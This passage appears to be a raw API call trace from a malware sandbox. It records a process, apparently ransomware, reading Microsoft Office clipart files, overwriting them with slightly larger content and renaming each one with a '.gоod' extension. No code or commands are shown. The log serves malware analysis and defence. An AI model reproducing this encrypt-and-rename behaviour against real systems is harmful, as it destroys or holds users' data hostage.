Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0213.167] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0213.167] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd6eb88, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd6eb88, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7b4550c3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x400)) returned 1 [0213.167] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0213.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.gоod")) returned 1 [0213.168] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", lpFilePart=0x0) returned 0x44 [0213.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0213.168] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x369e260 | out: lpFileInformation=0x369e260*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x370)) returned 1 [0213.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0213.168] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", lpFilePart=0x0) returned 0x44 [0213.168] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0213.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0213.168] GetFileType (hFile=0x828) returned 0x1 [0213.168] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0213.168] GetFileType (hFile=0x828) returned 0x1 [0213.168] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x370 [0213.168] ReadFile (in: hFile=0x828, lpBuffer=0x369e878, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x369e878*, lpNumberOfBytesRead=0x1faedc88*=0x370, lpOverlapped=0x0) returned 1 [0213.580] CloseHandle (hObject=0x828) returned 1 [0214.407] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", lpFilePart=0x0) returned 0x44 [0214.407] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0214.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0214.409] GetFileType (hFile=0x820) returned 0x1 [0214.409] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0214.409] GetFileType (hFile=0x820) returned 0x1 [0214.409] WriteFile (in: hFile=0x820, lpBuffer=0x367d208*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x367d208*, lpNumberOfBytesWritten=0x1faedb98*=0x380, lpOverlapped=0x0) returned 1 [0214.409] CloseHandle (hObject=0x820) returned 1 [0214.410] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF", lpFilePart=0x0) returned 0x44 [0214.410] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0214.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0214.410] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7c021c80, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x380)) returned 1 [0214.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0214.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.gоod")) returned 1 [0214.411] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", lpFilePart=0x0) returned 0x44 [0214.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0214.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x367e498 | out: lpFileInformation=0x367e498*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcd6eb88, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27a2)) returned 1 [0214.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0214.411] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", lpFilePart=0x0) returned 0x44 [0214.411] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0214.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0214.411] GetFileType (hFile=0x820) returned 0x1 [0214.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0214.411] GetFileType (hFile=0x820) returned 0x1 [0214.412] SetFilePointer (in: hFile=0x820, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x1000 [0214.412] ReadFile (in: hFile=0x820, lpBuffer=0x367e8b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedd28, lpOverlapped=0x0 | out: lpBuffer=0x367e8b0*, lpNumberOfBytesRead=0x1faedd28*=0x1000, lpOverlapped=0x0) returned 1 [0214.476] CloseHandle (hObject=0x820) returned 1 [0214.476] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", lpFilePart=0x0) returned 0x44 [0214.476] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0214.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0214.476] GetFileType (hFile=0x820) returned 0x1 [0214.476] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0214.476] GetFileType (hFile=0x820) returned 0x1 [0214.476] SetFilePointer (in: hFile=0x820, lDistanceToMove=0, lpDistanceToMoveHigh=0x1faedd58*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1faedd58*=0) returned 0x27a2 [0214.476] WriteFile (in: hFile=0x820, lpBuffer=0x34c21d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1faedc48, lpOverlapped=0x0 | out: lpBuffer=0x34c21d8*, lpNumberOfBytesWritten=0x1faedc48*=0x10, lpOverlapped=0x0) returned 1 [0214.477] CloseHandle (hObject=0x820) returned 1 [0214.477] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", lpFilePart=0x0) returned 0x44 [0214.477] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0214.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0214.477] GetFileType (hFile=0x820) returned 0x1 [0214.477] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0214.477] GetFileType (hFile=0x820) returned 0x1 [0214.477] ReadFile (in: hFile=0x820, lpBuffer=0x34c4498, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedcd8, lpOverlapped=0x0 | out: lpBuffer=0x34c4498*, lpNumberOfBytesRead=0x1faedcd8*=0x1000, lpOverlapped=0x0) returned 1 [0214.504] CloseHandle (hObject=0x820) returned 1 [0214.504] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", lpFilePart=0x0) returned 0x44 [0214.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedc00) returned 1 [0214.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0214.505] GetFileType (hFile=0x820) returned 0x1 [0214.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb70) returned 1 [0214.505] GetFileType (hFile=0x820) returned 0x1 [0214.505] WriteFile (in: hFile=0x820, lpBuffer=0x34c31f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1faedd88, lpOverlapped=0x0 | out: lpBuffer=0x34c31f0*, lpNumberOfBytesWritten=0x1faedd88*=0x1010, lpOverlapped=0x0) returned 1 [0214.505] CloseHandle (hObject=0x820) returned 1 [0214.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF", lpFilePart=0x0) returned 0x44 [0214.505] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0214.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0214.505] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd4897d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcd4897d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7c106b36, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x27b2)) returned 1 [0214.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0214.505] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.gоod")) returned 1 [0214.507] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", lpFilePart=0x0) returned 0x44 [0214.507] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0214.507] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x35409f0 | out: lpFileInformation=0x35409f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6396e0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b8)) returned 1 [0214.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0214.508] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", lpFilePart=0x0) returned 0x44 [0214.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0214.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0214.508] GetFileType (hFile=0x820) returned 0x1 [0214.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0214.508] GetFileType (hFile=0x820) returned 0x1 [0214.508] GetFileSize (in: hFile=0x820, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x5b8 [0214.508] ReadFile (in: hFile=0x820, lpBuffer=0x3541250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x3541250*, lpNumberOfBytesRead=0x1faedc88*=0x5b8, lpOverlapped=0x0) returned 1 [0215.319] CloseHandle (hObject=0x820) returned 1 [0215.352] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", lpFilePart=0x0) returned 0x44 [0215.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0215.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0215.353] GetFileType (hFile=0x820) returned 0x1 [0215.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0215.354] GetFileType (hFile=0x820) returned 0x1 [0215.354] WriteFile (in: hFile=0x820, lpBuffer=0x3913548*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x3913548*, lpNumberOfBytesWritten=0x1faedb98*=0x5c0, lpOverlapped=0x0) returned 1 [0215.355] CloseHandle (hObject=0x820) returned 1 [0215.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF", lpFilePart=0x0) returned 0x44 [0215.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0215.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0215.355] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c704c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd5c704c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7c938ccd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5c0)) returned 1 [0215.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedc80) returned 1 [0215.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.gоod" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.gоod")) returned 1 [0215.356] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", lpFilePart=0x0) returned 0x44 [0215.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedd00) returned 1 [0215.356] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x39147d8 | out: lpFileInformation=0x39147d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd5c704c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6a0)) returned 1 [0215.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedcc0) returned 1 [0215.985] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", lpFilePart=0x0) returned 0x44 [0215.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0215.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0215.985] GetFileType (hFile=0x808) returned 0x1 [0215.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0215.985] GetFileType (hFile=0x808) returned 0x1 [0215.985] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1faedd58 | out: lpFileSizeHigh=0x1faedd58*=0x0) returned 0x6a0 [0215.985] ReadFile (in: hFile=0x808, lpBuffer=0x367bcc0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1faedc88, lpOverlapped=0x0 | out: lpBuffer=0x367bcc0*, lpNumberOfBytesRead=0x1faedc88*=0x6a0, lpOverlapped=0x0) returned 1 [0215.987] CloseHandle (hObject=0x808) returned 1 [0216.075] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", nBufferLength=0x105, lpBuffer=0x1faed690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", lpFilePart=0x0) returned 0x44 [0216.075] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedbb0) returned 1 [0216.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0216.077] GetFileType (hFile=0x808) returned 0x1 [0216.077] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1faedb20) returned 1 [0216.077] GetFileType (hFile=0x808) returned 0x1 [0216.077] WriteFile (in: hFile=0x808, lpBuffer=0x36f77b8*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x1faedb98, lpOverlapped=0x0 | out: lpBuffer=0x36f77b8*, lpNumberOfBytesWritten=0x1faedb98*=0x6b0, lpOverlapped=0x0) returned 1 [0216.078] CloseHandle (hObject=0x808) returned 1 [0216.078] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF", lpFilePart=0x0) returned 0x44 [0216.078] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.gоod", nBufferLength=0x105, lpBuffer=0x1faed830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.gоod", lpFilePart=0x0) returned 0x49 [0216.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1faedcc0) returned 1 [0216.078] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), fInfoLevelId=0x0, lpFileInformation=0x1faedda0 | out: lpFileInformation=0x1faedda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdbb058, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcdbb058, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7d01385b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, 